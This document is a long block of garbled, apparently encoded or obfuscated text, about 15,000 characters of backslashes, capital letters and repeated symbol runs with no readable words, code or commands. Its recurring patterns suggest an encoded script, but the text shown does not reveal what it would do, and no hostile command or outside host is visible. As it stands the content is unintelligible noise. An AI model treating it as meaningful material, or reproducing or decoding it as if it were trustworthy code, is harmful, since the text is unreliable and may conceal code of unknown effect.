JNTMJLKUTX	P\\\\XKJDEM	P\TELMKQDNIUUGvvv\\\v\\\	\#JO
TMJLKUTX	P\\LP\\XKJDEM	U\R\\^ ^\R\\XHOK\\\\\R\^ ^\\R\LLIN	TMJMLUTX	P\\\\\\XKJDEM	UGv\\\v\	\\\LLIN	TEENU\R\\XHOK\R\\^ CB ^\R\\\\\X	Gv\v\	\\\\\LHDIKTXUv\\vSS\<	\Qvv\\\\\\\\\T]#JO
TMJMMUT#JO
TMINKUUU\\	\\\\	Gv\\\\\\XI#H\A\\\\<#TE#
NMNMTMJMNU\\\\\R\\XP\^^UGv\\\\\T#JO
TMJLDUTXI#HU\\\ZZ\E#
NMNMTMIJHUTXI#HP\\[ [U\]AA\U\v\\\\X#HKD\\\A\\E#
NMNMTMJMOUT[ [P\\\XI#HP\\\\\\NUGv\\\\\\TTU\\X#HKD'L!\AAA\\\TU\TLLIN	TMJMHUTU\\\\\\S\\TLOMWLMMHJMUU\\ZZ\TU\\\\\X#HKD'M!\\BA\TLNWLMUU\\\	\Gv\\\v\\\\	\\	Gvv\\\\v	\\HLO
NTXUv\\\\\v\\\\\T]
JNTMJMMUT#JO
TMINKUU\\\\\\  \]#JO
TMJMMUT
JNTDKEUUU\\\\	Gv\X#IJKNI#\\A\\\TU\\\T#JO
TMJMIUTU\S\\TLMLNWLHEMUUGv\\XI#H\A\\\<#T#JO
TMJMNU\\\\\R\\\\\XP\^^UGv\\\\\\X
\A\\LGXM

LKHAMIVJGXDD
AXM

LKHQOHGv\\T#JO
TMJLDUTXI#HU\\\ZZ\\\LLIN	TMIJHUTXI#HP\[ [U\\\\\]AA\\\\\\U\v\X#HKD\A\\\\
JNTMJMOUT[ [P\XI#HP\NUGv\\\\\\\\TTU\X#HKD'L!\AAA\\X#IJKNI#U\X
\\A\\\TU\\X#HKD'M!Gv\\\\\v\\\\X
WWGv\<	#T#JO
TMJMJU\\\\\R\\XP\\\X#IJKNI#\\\\\\R\[ [\\\\\R\X
P\\\\
JNTMIDIUUGv\\\TX
\\BA\\\TIQNUU\\LHMMJKTE#
NMNMTMJMKUP\
JNTMJMDU\R\\XUGv\\v\\\\	\\\EEEHTUv\\v\v\\\T]TE#
NMNMTMIEMUUU\\\\	Gv\\T]TLLIN	TEIHUU\\  \\]<
JNTMOENUT+,#?32(92(#85.U\\\  \\\]LJI#T+,#?32(92(#85.UU\\\	Gv\X
JIM\\\\A\\\\\+,#?32(92(#85.Gv\XJL
DI\\\\A\\X
JIM\\\\\R\\\
JNTIHMUGv\\\\XLN
L\A\E#
NMNMTMHDJUTEIITUP\\E#
NMNMTMOEOUUGvvX
EJ\\\\A\ENMIT=>/,=(4\R\\\\\LLIN	TMOHIUP\\\\\TKWMUU\\\R\LLIN	TMOHJUGv\\\XLL\\\\A\\\INELTUGv\XJNK\\A\\\\ENMIT=>/,=(4\R\\
JNTMIOKUP\TLDWLNUUGvX
O
\A\\\\\\E#
NMNMTMJMEUTE#
NMNMTMIELUU\\C\KOLEMNMTU\F\\Gv\X	LEJML\\\\A\X
O
\]AA\\C\E#
NMNMTMJNLUTX
O
U\\F\\\LGvXNM\\\\A\\TX;03>=0/'#JO
TMJNMU!QBU\\\C\\\\\\X;03>=0/'E#
NMNMTMJNMU!QB\\\\\F\\\\\#JO
TMIOJUGv\X	
JO\A\
JNTMJNNU\\\\R\\\\\LLIN	TMJMLUT
JNTMIDHUTXLN
L\\\R\\\TU\\\MHEHTUUP\LP\\TMHQJUUGv\\\\\\\XL\\A\\\\DOE	KTvvLLIN	TMJNOUPv\T[##/0);##[P\\\\\[##&5,#2=19##[P\[##/413,#79%##[P\[##3,(#2=19##[P\[##+,#,.9:5$##[P\\[##;)=.8#2=19##[P\[##*9./532##[UPvTXLN
LP\\\\\X
EJP\\\\\X	LEJMLP\XJNKP\XNMP\\X	
JOP\E#NDNTUUv\UGv\T]XLU\\\X#ADNVNGXKHAX#QMOGv\\\TTU\\\\\\#TE#
NMNMTMJNHUP\\\\LU\\B\\LU\LHMMJKT#JO
TMJNIUP\\E#
NMNMTMJNJUUGv\	Gv\\v\X	\A\<#JO
TMIMMUTXJL
DIU\\\\C\\<E#
NMNMTMJNKUTXJL
DIU\F\\\\\^^Gvvvv\\\\\\\T]E#
NMNMTMJNDUTX	UU\\\v\LHMMJKTLLIN	TMJNIUP\\E#
NMNMTMHDHUUGvvv\	Gv\vSS\<	\vv\\\\X	\\\A\\\#
	TX	UGv\\\\XH
N
\A\E#NDNTU\\R\\[F[\R\\ENMIT=>/,=(4\\\\R\
JNTMJNEUP\\TLKWLMUUGv\\\\\X
	DIHD#\\\A\#JO
TMJOLU\\\R\\\XH
N
\R\\
JNTMJOMUGvXNDLIN\\A\\\\\LLIN	TMJONU\R\\XH
N
\\R\\
JNTMJOOUGv\XLKJ\A\\\ENMIT=>/,=(4\\R\\\
JNTMJNEUP\TJWNUUGv\XL	LIM
\\A\\\\\LLIN	TMIJEUTLLIN	TMJOHU\\\\\R\\\\XLKJ\\\R\\\\\\
JNTMJOIUP\^^P\\X	UGv\\\\\\XL#OJ\\\\A\\T#JO
TMIJHUTXL	LIM
P\LLIN	TMJOJUU\\\]AA\UGv\\\\\T
JNTMIJHUTX	P\X
	DIHD#U\\]AA\\ZZ\\LLIN	TMJOKUTX	P\\XNDLINU\\]AA\\ZZ\\]XL#OJU\v\\\\\	EJDMHI	TUGv\\\	Gv\vv\vX	\A\\#JO
TMJODUT#JO
TMJOEUP\^^P\\XL	LIM
UGv\\\\\\\\T]
JNTMJNDUTX	UU\\\\\\vvvvLHMMJKTE#
NMNMTMJNIUP\LLIN	TMJHLUUGv	Gvvvv\\\vX	\A\\\#
	TX	UGv\XND\\A\\\\LLIN	TMJHMUTLLIN	TMIIHUP\\\^^P\\\XLUGvSS\\\vvvvv\\\\\\XLDLOI\\\A\\\\\TE#
NMNMTMIENUTX	U\\AAA\\\LUGvvvv\\\T]XLDLOIU\\v\\\\T]LHDIKT#JO
TMJNIUUU\v\\LHMMJKTE#
NMNMTMJNIUP\\\\LLIN	TMIKHUUGv\\\\\	Gv\\vvvv\\\\T]NJ
NK#OETXJL
DIP\\X	UU\v\\\LHMMJKTLLIN	TMJHNUP\
JNTMIJMUUGv\\\\\	Gv\\\vHLO
NTLLIN	TMJHOUUGv\\\\\\\\\\\\\v\\\\T]NJ
NK#OETXJL
DIP\\^^UU\v\\LHMMJKT#JO
TMJHOUP\\\\\#JO
TMIJMUUGv\	Gvvvv\XO\\\A\O	#NDTX	P\X
	DIHD#\\\R\^ ^\R\XND\R\\\^ ^\\\\R\\\\XNDLINUGv\\\\\\\\\\\\T]HH#EOMTXJL
DIP\\XOUU\v\\\\\\\	GX
AMLLWEEGXJNMEAX
QHIGvvvvv\\\TXLDLOIU\HDIEL#	TXJL
DIUGv	EJDMHI	TUGv\v\\\\\\\T(\\\\\XKU\\\v\LHMMJKTLLIN	TMJHOUP\\XKUGvvvv\\\T9\\XKU\\\\v\\v\\\\\\\v\	\#KJL#TUv\v\\\\\\\\\v\\T]TLLIN	TMJHHUUU\\\\\\	Gv\\T#DIDE	
TEIITUUU\	Gv\\\\\\T]
JNTMJHIUTE#
NMNMTMHLDUUU\	Gv\\\\TE#
NMNMTMHKMUTU\AAA\\E#
NMNMTMJHJUU\\\\	Gv\\\\T]TX#/9.*9.'E#
NMNMTEHU!UU\\\\	Gv\\\\\T#TLLIN	TMJHKUUU\	Gv\\\\\XN\A\\INELTUGv\\\\\\\\\T]<#JO
TMOEMUTXNUU\	KOM#TXNP\\\\THLOWELUP\\	UGvvv\\\T]<#JO
TMOEMUTXNU\  \\]<
JNTMJHDUTXNUU\\\\v\\XN\\A\\\=>/,=(4\R\E#
NMNMTMJHEUGv\T]<E#
NMNMTMJHDUTXNUU\\\XN\A\\\NOLJJTUGv\\\\\v\X	J\\A\\ENMIT=>/,=(4\R\\\\\\[[P\THWHUUGv\\\\\XK	#
\\\\\A\\E#
NMNMTIHDU\\\R\\\\X	J\\\R\\LLIN	TMOEOUGvvv\X	ONOJ\\\A\XN\\R\\\[S[\R\XK	#
Gvvvv\\X	K	IEH\A\XN\R\\#JO
TMJILU\\\R\\\X	JGv\\\\TTXNP\\\=>/,=(4\\R\\
JNTMJHEUP\\NOLJJTUU\\\\\\\XI
EU\\vvvv\\X	\\A\\\XI
E\\\R\\\\\LLIN	TMJIMU\R\\\X	JGv\\T<
JNTMIMHUTX	UU\v\\\\XEJH#NK\\A\\TU\\\<LLIN	TMIMLUTX	UGv\\\\\\TXEJH#NK\@A\\\#JO
TMJINUTU\\\\Q\\\\THDMHDWODNINU\  \XEJH#NK\\B\
JNTMJINUTU\\\\W\\TLJKWLIUU\\\\vvvv\\NN#		TX	UGvv	GvvSS\Q\
vv\T<
JNTMIMHUTXI
E\\\\R\\\\LLIN	TMJIOU\\R\\\\X	J\\R\\\\
JNTMOEOUUU\\\	Gv\\\NN#		TX	UGv\\\\\vvvv\\\\\v\\\	TXI
EP\\\\\X	P\XEJH#NKUGv\\\\XJ	#L\A\\\\=>/,=(4\\\\\R\\\\\\E#
NMNMTMJIHU\R\XK	#
Gv\\\\\\\TXN\]AA\\\=>/,=(4\\\R\\\LLIN	TMJIIU\ZZ\\\\\<
JNTMJIJUTXJ	#LU\\\\ZZ\EKONKLJDTXJ	#LU\\\]AA\\\U\\vvvvODLTXJ	#LP\\\\\\TOIMWJEUUGv\\\\\\\\\TNN#		TXJ	#LU\\\\\ZZ\\\\\#JO
TMJHIUTLLIN	TDIOUUU\\<#
TXJ	#LP\	UGv\\\\v\\	TXJ	#LUGv\\\\\\T<#JO
TMJIKUTX	K	IEHU\ZZ\\\\TU\\<E#
NMNMTMJIDUTX	K	IEHU\B\\\\\LLIN	TMJINUTU\\Q\\TLMWLMUU\\\	Gv\\\T<E#
NMNMTMJIEUTX	ONOJU\\\\ZZ\\TLLIN	TMJINUTU\\Q\TU\<TX	ONOJUU\@\\\TOEDQEDUU\	Gv\\\T<
JNTMJIEUTX	ONOJUU\v\\X	
N\\\\\A\\\\\<E#
NMNMTMJJLUTXN\R\\E#
NMNMTMJJMU\\\\R\X	JU\\\\\C\\#JO
TJJNUTTU\\<
JNTMJJNUTXN\\\R\\\\
JNTMJJMU\\\\\R\X	JUU\\\F\\\^^Gv\\\\TX	
N\\]AA\\\\^^\\\ZZ\\\E#
NMNMTMJJOUTE#
NMNMTMJJHUP\\X	
NU\ZZ\
#TX	
NP\E#NDNTUP\[B[UU\	Gv\\\	TX	
NUGvvvvv\\\T<#JO
TMJJLUTX	ONOJUU\\\\\\vv\\XEJHK\\A\\XN\\\R\\LLIN	TMJJIU\\R\ENMIT=>/,=(4\\\\\R\[[P\\\TLIWLOUUGvXJLIE\\\A\\\\<LLIN	TMJJLUTXEJHKU\\C\\\TU\\\<#JO
TMJJJUTXEJHKU\\\F\\^^Gv\\\\XDJ#	\A\LGv\\\\TXJLIE\\]AA\^^U\\\XI		ATLKWLIUGX
#AXI		YKGvv\XLILL\A\\\\LLIN	TMJJKUT[ [P\\\XJLIEUGv\\\\\\XDJ#	\\\\A\\\\\TU\\\XLILL'L!Gv\\\v\\\\\\TXDJ#	\\\\B\\\\L\\\ZZ\\E#
NMNMTMJINUTU\Q\XDJ#	\\B\\\TLNOWLMHJUU\\\LHMMJKTLLIN	TMJJDUP\\\\\LLIN	TMJJEUUGv\\\TXDJ#	\\AAA\L\\\\ZZ\\\T#JO
TMJINUTU\\\Q\\\TU\\\\<TX	ONOJUU\\B\TDONWJDUU\LHMMJKT
JNTMJJDUP\\\LLIN	TMJKLUUGv\	TXEJHKP\\\XJLIEP\\\XLILLP\\\\\XDJ#	UGvvvv\\\\v\XKI\\A\\L	DINOOTUGvv\T]XKI\\\\\\  \\E#
NMNMTMIENUTXKIU\\\\\@\\\THOOWJKUU\	Gv\\\\XKIKO\A\\\\\JO#	#ETUGv\\XLN
L\\\A\LLIN	TMHDJUTEIITUP\\\\\LLIN	TMOEOUUGv\XKOLJ\\A\\\NOLJJTU\\\\R\\E#
NMNMTMIUGv\\X
KML#LDL#\\\A\\\<#JO
TMJKMUTXKOLJUvC\\\TXKOLJ\\R\\\[S[\\\\R\\\XLN
L\\\\\R\\\\\LLIN	TMOEOUUv\\\F\TNOLJJTU\R\\\\\\LLIN	TMJKNU\R\\\XLN
L\\\R\\[S[\\R\XLN
L\\R\\#JO
TMJKOUUGvXKM	NNN\\\A\LLIN	TMJHIUT#JO
TKKLUU\\\\C\\\LLIN	TMJKHUT#	TUP\\\\,4,#).0#43/(U\\\\\F\\TTX#/9.*9.'E#
NMNMTMJKIU!U\\C\\X#/9.*9.'
JNTMJKIU!\F\^^UGv\\\\\\X	DIL
J\\\\\A\\\\TT
JNTJOHUU\\ZZ\\\\\+,1)#,0);52#85.U\C\+,1)#,0);52#85.\\F\\NOLJJTU\\R\\
JNTMIUGvX	EN#EK\\\\\A\\\\TTE#
NMNMTDNNUU\\\ZZ\+,#,0);52#85.U\\\C\\\\+,#,0);52#85.\\\\\F\\NOLJJTU\\\\\R\E#
NMNMTMJKJUGv\\\X	M
\\\\\\A\TE#
NMNMTEIHUU\C\\+,#?32(92(#85.\\\F\\NOLJJTUGv\\\XM	ONK\A\DOE	KTvvvv
JNTMJJDUPvvvv\\\T[##,=(4#>JH##[P\[##,0);52#>=/9JH##[P\[##831=52##[P\[##4>#>JH##[P\\[##;,=(4#>JH##[P\[##=>/,=(4#>JH##[P\\\[##?32(92(85.#>JH##[P\[##1)85.#>JH##[P\\\[##,0);5285.#>JH##[P\\\\\\[##/0);##[P\\\[##*9./532##[UPvT#JO
TMOKIUTX
KML#LDL#UP\\\\\XKIKOP\\XKM	NNNP\\#JO
TMOKIUTX	K	IEHUP\#JO
TMJKKUTX	ONOJUP\\\
JNTMJKKUT=>/,=(4UP\\LLIN	TMJKDUTX	M
UP\\\#JO
TMJKDUTX	DIL
JUP\\E#
NMNMTMJKDUTX	EN#EKUP\
JNTMHDJUTEIITUP\\
JNTMJKOUUP\\E#NDNTUUv\\\UGv\T]XM	ONKU\\\\\\v\\\TTU\\\\#TE#
NMNMTMJNHUP\\\LU\\\B\LU\\LHMMJKT
JNTMJJDUP\\LLIN	TMJKEUUGv	Gvv\\vvvv\\\\\\\\T]LEIOTXM	ONKUU\\v\\\\LHMMJKTE#
NMNMTMJDLUP\\\E#
NMNMTMJDMUUGv	Gv\\\\v\THH#EOMTX	ONOJP\\\\\\XM	ONKUU\\\v\	J	LOO
NTX	ONOJP\
O

TUUGv\\ODLTX	ONOJP\\\\TOMJWMLHUUGv\\\HDIEL#	TX	ONOJUGv\\\\	OOEHTXN\\R\LLIN	TMJDNU\R\X	JP\\\\\#JO
TMIDHUTXM	ONKUP\E#
NMNMTMJDLUUGv\\	OOEHTXN\\R\\\\#JO
TMJJMU\\R\\\\X	JP\\E#NDNTUP\\\E#
NMNMTMJDLUUGv\\<	#\\\\X	ONOJGvv\\\#T
JNTMJDOUP\\\MP\TNKMWNEUUGvv\\	TX	DIL
JP\\\X	EN#EKP\\\X	M
UGv\\\\\\\\\\T(\\\\XKU\vLHMMJKT
JNTMJDLUP\\XKUGv\\\\\\T9\\XKU\\\v\v\\\\\\\v\\\\\\	\	HLOLI
TX#IDKUv\v\T]
JNTMJDHUTX#IDKUU\\\\	\\\\Gv\\\\XHLMOHOJKO\\A\\\\\LLIN	TMIENUTX#IDKUGv\\\\TXHLMOHOJKO\\B\TMHKLEDJQHNNHMLUU\	\\\	Gv\\\TXHLMOHOJKO\\@\\\THOEWJMUU\\\\\	\\\Gv\\\XM
IE#\\\A\\E#
NMNMTMJMLUTX#IDKP\\\LP\\\\TJIHHDWDDUUGvXED
MN	\\\\\A\\\\LLIN	TMJDIUTXM
IE#P\\\[\[U\\W\\\\\\#JO
TMJDJUTXM
IE#P\^ ^UGv\\\\\\\\	\TXED
MN	\\S\\#JO
TMIENUTXM
IE#UU\\B\\LRIIGv\\\v\\\	\L	DINOOTXMIEE\\A\\\Uv\\\vv\\\\\\\XKI\A\\	Gv\\\\\\\\TXMIEEU\\\\\v\\\\\\XKI\A\\\\\	Gvvv\\\v\\\TXKI\\]AA\\	U\	\\\XKIGvX#IDK\A\\\Gvvvv\X#	DO\A\\<#JO
TMMMEUTEIITUUGvvv\\\\\\\TX#	DO\\\\\ZZ\\\X#	DO\\\B\\\THMEWDMU\\ZZ\\\X#	DO\\\@A\\TINHNDKJMWOEUU\\\X#IDK\A\\\\\<LLIN	TMJJJUTEIITUUGvvvv\\\\\\\\\\TE#
NMNMTMJDHUTX#IDKU\\\\\\ZZ\E#
NMNMTMIENUTX#IDKU\B\TOIJENEWJEMJHKUU\\\X#IDK\A\\\#
	TX#IDKUGvvvv\\\T
JNTMJDHUTX#IDKU\ZZ\\\
JNTMIENUTX#IDKU\\\\B\\TEJHQHJHU\\\ZZ\LLIN	TMIENUTX#IDKU\\@A\\\TMLHDIKLWJU\ZZ\\]	HLOLI
TX#IDKU\ZZ\\\\\LEIOTX#IDKUU\\\\vSV\\
\VSvv\\XKI\A\\\\X#IDKGv	\XKIGv\\v\XD
NN\\\\A\NEDNT
JNTDDKUP\\^^UGv\\\TE#
NMNMTMJDHUTXD
NNU\\\\\ZZ\\\\E#
NMNMTMIENUTXD
NNU\B\\THDIWMIU\\\\ZZ\\\#JO
TMIENUTXD
NNU\@A\\\\TMLHHHOMWHMHIU\\ZZ\\]	HLOLI
TXD
NNU\\ZZ\\LEIOTXD
NNUU\\\\\v\\XKI\A\\XD
NNGv\	\\\XKIGv\v\\\XKI\A\Gvvvv	\\\XKIGv\\v	\JO#	#ETXMIEE\\\A\\\Uv\v\\\\X#MKLD\\A\	Gvvvv\\TXMIEEU\\vv\\\X#MKLD\\\\A\	Gv\\\\\\v\\\\\\\\TX#MKLD\]AA\\\\	U\\\\\	\\X#MKLDGvX#IDK\A\\L	DINOOTUGv\\\\\T]
JNTMJDHUTX#IDKU\\\\  \\#JO
TMIENUTX#IDKU\@\\\THMMWDEU\  \\LLIN	TMJDKUTX#IDKU\B\TMLJOOKHQMHKEDU\\\\\  \\\\\	HLOLI
TX#IDKU\  \\]LEIOTX#IDKUU\v\X#MKLD\\\\A\\\Gv	\\\X#MKLDGvvvv\\\\\X#MKLD\\\A\\\E#
NMNMTMJKDUTEJ	DTX#IDKUUGv\	\X#MKLDGv\\\v\\	\\\\NM
KI	TXMJJOUv\\\\\\v\T]#JO
TMJDHUTXMJJOU\\  \LLIN	TMJDKUTXMJJOU\@\TMJWNU\  \\E#
NMNMTMJDDUTXMJJOP\\LP\NU\\]AA\\\^ M D^U\\\	\LGvXN	K\\\\\A\\\<LLIN	TNELUT[*[P\\#JO
TMJDDUTXMJJOP\\QTDQHUUUGv\\\XN	K\\A\\\\\
JNTMJDEUTXN	KU\\\\C\XN	K'M!\\\\\F\LGv\\\\\\\TXN	K\\@\THJHWOJU\  \\XN	K\\\B\\TMLHDIJKWEUU\\	\\\\XN	KGv\\	\\\LGv\v\\\\	\\\#I
MM#DDLTXNNOMMUv\\\\\v\\\\	\LLIN	TMJELUTTXNNOMM'M!UUGvvvv\\\\\\\v	\\\DENJNHTX	LNJUv\\\vvvv\\\\\T]LLIN	TMJDHUTX	LNJU\\  \\\X	LNJ\AAA\^^U\	\\\X	LNJGv\\\\\XKJDDM\\\\\A\	Gv\\\\TXKJDDM\\\AAA\	U\vSS\,4,\DRM\F\\Qvvv\\\\\\XKJDDM\\\A\\\Gv\\\\\\\T#JO
TMJHIUTE#
NMNMTMJEMUUU\\vvvv\X#\\\\A\\T
JNTMJENUU\\\\C\+,#?32(92(#85.\\\\F\TT#JO
TMJEOUU\\C\\\=>/,=(4\F\^^UGv\\\\\\TX#\\\\\]AA\\^^U\\v\\XD
OJO\\\\A\<##TX#UGv\\\\\\TXD
OJO\]AA\\\\\\\ZZ\\\\XD
OJO\\\\BA\\\TMIKNDJOHOWIKUU\\XKJDDM\\A\\	Gv\\\\\vSS\<
\vv\\vSS\1/-0\6/32\F\\
	vv\\\\\\T]XKJDDMU\v\\\\TLLIN	TMJEHUTLLIN	TDKEUUU\<	#TLLIN	TMJEIUP\#JO
TMJINUTUP\\\\\\
JNTMIDIUUGv\\\\\\\\T
JNTMJEHUTE#
NMNMTMINKUUU\\v\XEMLHHDM\\A\TU\\\#TLLIN	TMJEJUP\LUGv\\\\TXEMLHHDM\\ZZ\\\\\LLIN	TMJINUTU\\Q\XEMLHHDM\@\\TMNHDLLQODHLLUU\\\XKJDDM\\\A\\\Gvv\\\\\v\\\\\\\\\\T]XKJDDMU\\\\\v	\\X	LNJGv\\\vvvv\X	OKHKJ\\\A\\TNJKHKIMWNDNINHEU\\\\W\\\\#JO
TMJEKUTLP\\\\TNLLHDHNQILHDHNUUGv\\\\\\\\\T
JNTMJDKUTX	LNJU\\\\\BA\\X	OKHKJU\\	\\X	LNJGv\\\\\\\TLLIN	TMJDDUT#JO
TMHHJUTX	LNJUP\\\QNU\\AAA\\E#
NMNMTMJEDUU\\	\X	LNJGv\\\\\\\TE#
NMNMTMJDKUTX	LNJU\@\X	OKHKJ\Q\TODMLWNELUU\\\\\vXLOMOE\\A\\\^^Gv\\\TLLIN	TMJEEUT#JO
TMKLLUUU\\\vv\\\XEIA,4,#1=63.#*9./532GX
	AXEIVEGv\XLOMOE\\\A\\\\<#JO
TMKLMUT#TTMEMMWDEUUUGv\\\\\T(\\XKU\vvvXLOMOE\\\A\\\\\^^Gv\\\\\\T9\\\XKU\vXLOMOE\\A\\^^Gvvv\\vvvv\\\T#JO
TMJDKUTXLOMOEU\\\\@\\\\\TNEDHWMLMJUU\\\\vvv\XLOMOE\\\\A\
JNTMIDHUT	T^^P\\\	UUGv\\T
JNTMKLNUTXLOMOEU\\\@\\TNDILWMMILUU\\XLOMOE\\RA\LLIN	TMKLOUTXLOMOEUGv\v\\X	LNJ\\\RA\\\^ SV^\\\\R\\\XLOMOE\\\\R\\LLIN	TMKLHUGv\\\v\	\\X	LNJGv\\vvv\	\#
	TX	LNJUv\\\v\\\\\\T]E#
NMNMTMKLIUTX	LNJU\  \\\\#JO
TMKLNUTX	LNJU\\\\\@A\\TMLHDIMNWJHUU\	\\\\X	LNJGv\X
\A\
JNTMJHMUT#JO
TMKLJUP\\\\^^P\\\\\X	LNJUGXLIAENHLGXIONAXLIYNGv\\\\	\\LLIN	TMKLIUTX
U\C\\X
\\F\\\X	LNJGv\\\v	\\\\HDIEL#	TXMIUvvvv\\\\\vSS\Q	\\\,4,\\	vv\\\\\\\\\\\T]E#
NMNMTMKLKUTLLIN	TMINKUU\\  \\\\\]
JNTMKLDUTE#
NMNMTDKEUUU\	Gv\\\\\\\T]#JO
TMKLIUTXMIU\\  \\\\XMI\AAA\\\\^^\\\  \]<
JNTMJJLUTXMIUU\\	Gv\\\\T]TX;03>=0/'LLIN	TMKLEU!U\\  \\\\]#JO
TMJDEUTX;03>=0/'
JNTMKLEU!UU\\\vX;03>=0/'LLIN	TMKLEU!\\A\\\\#TLLIN	TMKMLUP\TUUGv\\T]E#
NMNMTMKMMUTX;03>=0/'#JO
TMKLEU!UU\X;03>=0/'E#
NMNMTMKLEU!\\\\\\A\TUGv\\\vvvv\\\\XNNOMM\\\A\X;03>=0/'E#
NMNMTMKMNU!Gv\\\X	LNJ\\\\\A\\\<
JNTMJJJUTXMIUGv\T]#JO
TMKLIUTX	LNJUU\\\	Gv\T#JO
TMKMOUTX	LNJU\\\B\\TLJNKWLNHEEUU\\\X	LNJ\A\\#
	TX	LNJUGv\XNNOMM'E#
NMNMTMKLOUTXMIU!\A\\T[[\AB\\XMIP\\[[\\AB\\\E#
NMNMTMKMHUTX	LNJUP\[[\AB\\\E#NDNTUP\\[[\\\AB\\\E#
NMNMTMKMIUTUUGv\\\T#JO
TMIMEUTXNNOMMU\\\\\B\\\\\\TNIJQIJUU\\v\\\\TXNNOMM\\\\XNL
N		\AB\\\XI#HU\\\\\v\T]#JO
TMKMMUTXI#HU\\  \\\]TXI#H'[[!U\\  \\\\\TU\\\XI#H'[[!\\\\\\@\\\E#
NMNMTMKMIUTU\\Q\\TNIEMEMOWDKUU\	TXNNOMM'XNL
N		!UGv\vvvv\\\\\TE#
NMNMTMIMEUTXNNOMMU\\B\\\TNKKQKKUU\vSV\\	Q\VSvv\\\XDMK\\A\\\\	Gv\\\\\XEE
EJ\\\A\\\\\\	GXIELAJKWMHGX	#OAXIELQJGv\\\\\\\TXNNOMM\\\\\XNL
N		\\\\AB\\XI#HU\\\v\XLM
\A\\\\\
JNTMKMJUTXI#HU\\\\\ZZ\\TXI#H'[[!U\C\\TU\\\XI#H'[[!\F\\\\\\LGv\\\\\\\\\\TXEE
EJ\\AAA\\	\\\  \XLM
\\@\\XEE
EJU\\v\XEE
EJ\A\XLM
GvXDMK\A\\\\\XNL
N		Gvvv\\\\\v\v\\\\\\TXDMK\\\\AAA\\\\	U\\Gv\\\	TXNNOMM'XDMK!UGv\\\\\\vvv\v\\\\\	#T
JNTMKMLUP\\\\\XNNOMMP\\#JO
TMKMKUUGXMO
AQJDEGXKMLATXMO
BLUCXMO
FQXMO
Gvv\X;03>=0/'#JO
TMKMNU!\\\\A\XNNOMMGvvv\\v\\	\\\EKONKLJDTXMIUv\v\\\\\\\T]
JNTMKLIUTXMIU\\\\\  \XMI\AAA\\^^U\\	\\\Gv\\\\\\\T]TX;03>=0/'
JNTMKMDU!U\  \\\\\]E#
NMNMTMKMJUTX;03>=0/'#JO
TMKMEU!UU\\v\\\X;03>=0/'E#
NMNMTMKMEU!\\\\\A\\\
JNTMKLDUTLLIN	TMINKUU\C\\\\#T
JNTMKMLUP\\\\\TUU\\F\\\TUGv\\\\\\\\T]LLIN	TMKMJUTX;03>=0/'E#
NMNMTMKNLU!UU\\X;03>=0/'#JO
TMKNLU!\A\TUGvv\\\v\\\XNNOMM\A\X;03>=0/'#JO
TMKNLU!Gv\XK#DK
		I\A\#JO
TMKMHUTXMIUGvvv\\\TTXNNOMM'XK#DK
		I!U\\\\ZZ\E#
NMNMTMKMJUTXNNOMM'XK#DK
		I!U\\\ZZ\\\\\TXNNOMM'XK#DK
		I!'[[!UU\v\\\\\\TTU\<E#
NMNMTMMMEUTXMIU\\\B\TLMLHNWLMKNNUU\\\\\\	\#JO
TMKNMUGvX	LNJ\\\A\\<E#
NMNMTMKNNUTXMIUGv\\TLLIN	TMKLIUTX	LNJUU\\v\\T
JNTMKNOUTX	LNJU\B\\TMLHDIOMWHIUU\\X	LNJ\\A\#
	TX	LNJUGv	\\T
JNTMKNHUTX	LNJU\\AAA\\XNNOMM'XK#DK
		I!'[[!U\\\\\C\\\\\	\\F\\
JNTMKNMUGvv\vvvv\\\	\Gvv\vXME\\\A\\<LLIN	TMKNNUTXMIP\\\P\	P\LP\THLMNWDHUUGv\Tv\\\\\
JNTMKLIUTXMEU\ZZ\\LLIN	TMJJOUTLLIN	TNMEUP\XMEUvZZ\\\IND#TXMIP\\TKHJQNHJUUv\\\\\\\\U\\\\vvvv\\\TTU\\\<E#
NMNMTMKNIUTXMIU\B\\\TLMDHOKLWLMEDOUU\\\\	\GXHJ
JAMNVKGXD#HJAXHJ
JQKGvvv\X	LNJ\A\\TU\<LLIN	TMKNJUTXMIUGvv\\\\\\\\\T
JNTMKNKUTX	LNJU\\\B\TMLHDIMDWIDUU\\X	LNJ\A\\#
	TX	LNJUGvvv\\\TLEIOTX	LNJUU\\	\\
JNTMKNDUGvv	\\\\Gv\\\\\\\v	\\\\OL
NOTUvv\\X
DLKHIANMWKGXMHNOAX
DLKHIQHMGv\\\\\XNNOMM\A\\	GvSS\\Qvv\\\TXNNOMM\\]AA\\\\\	U\\	\\\\\\XNNOMMGv\\\X	LNJ\\A\\\\\TU\\\\<#JO
TMKNJUTEIITUUGvv\\\\\\\\\\TLLIN	TMKNEUTX	LNJU\\B\\\TMLHDIHKWNEUU\X	LNJ\A\#
	TX	LNJUGv\\\XNNOMM\A\\#JO
TMKNHUTX	LNJUGv\	\XNNOMMGvvvv\\\\\\vv\\	\\\\\H
NMKTUv\\v\	\\#JO
TMJDDUTOL
NOTUP\\\\LP\\\\\TOO"HIUUGv\\\\\v\\	\\\\\\JHH	#DKDTUv\\vv\	\\\\INELTU\\R\\\\
JNTMKOLU\\\R\\ENMIT=>/,=(4\\R\\\\\\
JNTMKOMUP\TH@@MUU\\R\#JO
TMJKOUGv\\\\\v\\	\
JLKDNEJTUv\v\\\\XE		\A\\TUGv\\\T
JNTMKLDUTE#
NMNMTMINKUUU\\vX#\\A\\<#T
JNTMKONUP\\\\TUUGvv\\\\TLLIN	TMKMJUTX#UU\XE		\\\A\\\X#Gvv\\\\\\vvvX	LNJ\\A\\\<LLIN	TMJJLUTJHH	#DKDTUU\\\\C\<
JNTMKNJUTJHH	#DKDTUU\\\\F\\\\\^^Gv\\\\\\TLLIN	TMKLIUTX	LNJU\\\\ZZ\\
JNTMJOKUTX	LNJP\\\LLIN	TKHKUU\\\\AAA\\LU\\\\\vXOD\A\\\#JO
TJJMUTLLIN	TMKOOUTX	LNJP\\TMJJ"MJOUUP\	UGv\\\\T
JNTMKOHUTXODU\ZZ\\TTXE		'E#
NMNMTMKOIU!U\\\  \T]TXOD'E#
NMNMTMKOIU!U\ZZ\\XOD'
JNTMKOIU!\BA\\\\\XE		'
JNTMKOJU!UUU\\XE		\A\\XODGvvv\\\\	\XE		Gvv\\\	\#E	E	TXED	Uv\\\\\\v\\\\\\v\\\T]TE#
NMNMTMJEOUUU\\\\	GvX	KIHHN\\\A\#JO
TMKMIUTUGvvvv\\\\\\\\\\\\TXED	\\AAA\\
JNTNOLU\  \XED	\\\\AAA\\\\\
JNTMKOKUU\\vX
\A\\
